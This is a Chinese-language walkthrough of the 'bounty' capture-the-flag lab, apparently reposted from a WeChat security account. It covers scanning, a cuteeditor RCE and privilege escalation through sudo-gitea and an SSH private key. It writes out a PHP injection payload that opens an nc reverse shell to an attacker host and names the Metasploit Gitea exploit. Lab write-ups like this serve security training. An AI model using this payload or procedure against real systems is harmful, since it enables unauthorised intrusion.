OSCP 靶场
靶场介绍
bounty |
medium |
cuteeditor 编辑器RCE, sudo-gitea RCE 提权、私钥提权 |
信息收集
主机发现
nmap -sn 192.168.1.0/24
端口扫描
┌──(kali㉿kali)-[~] └─$ nmap -sV -A -p- -Pn -T4 192.168.1.106 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-19 08:25 +06 Nmap scan report for 192.168.1.106 Host is up (0.00098s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 75:85:67:56:77:e8:5a:d8:f0:49:c5:5d:73:39:c8:16 (RSA) | 256 b5:5d:d8:7e:c9:ad:e6:67:7d:5e:e3:ab:b0:a0:fa:f3 (ECDSA) |_ 256 dd:11:b9:f8:fd:b6:a5:9f:d8:d6:40:c7:db:81:63:67 (ED25519) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.20 seconds
目录扫描
gobuster dir -w pte_tools/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.106 -x php,txt,html,htm -e
权限获取
通过目录扫描发现如下编辑器
发现cuteeditor 编辑器有漏洞有源码
拉下源码审计,发现edithtml.php 页面会把代码保存到document.html页面中
那么我们尝试写入代码看看
我们直接写入反弹shell,然后访问document.html 页面,成功获取权限
Editor1=<?php%20system("nc%20192.168.1.76%208989%20-e%20/bin/bash"); ?> &Editor1ClientState=&Save.x=8&Save.y=11&textbox1=
这里不要被前端误导了,一开始我也以为被注释掉了,写入成功后是没有注释的。
权限提升
sudo 查看发现primavera 账号可以使用gitea命令
关于gitea服务:https://www.cnblogs.com/Gitea/p/install-gitea-service.html
开启gitea 服务,可以看到使用了1.16.6 版本的,直接msf 模块利用获取权限
└─$ searchsploit gitea ---------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------- --------------------------------- Gitea 1.12.5 - Remote Code Execution (Authenticated) | multiple/webapps/49571.py Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit) | multiple/webapps/51009.rb Gitea 1.4.0 - Remote Code Execution | multiple/webapps/44996.py Gitea 1.7.5 - Remote Code Execution | multiple/webapps/49383.py ---------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
这里我们使用msf 内置的rce 模块,也可以导入 searchsploit 漏洞库里面的模块。不过利用之前得注册一个账号先。
run 执行,提权成功
primavera 账号目录下获取提示信息,primavera 已经是管理员了?
primavera@bounty:~$ ls ls custom data gitea log note.txt primavera@bounty:~$ cat note.txt cat note.txt Im the shadow admin. Congrats.
查看shadow 和进入root 都不行,尝试使用私钥登录,发现成功了。这个靶场还是有点意思的。
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):【OSCP-Medium】bounty
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论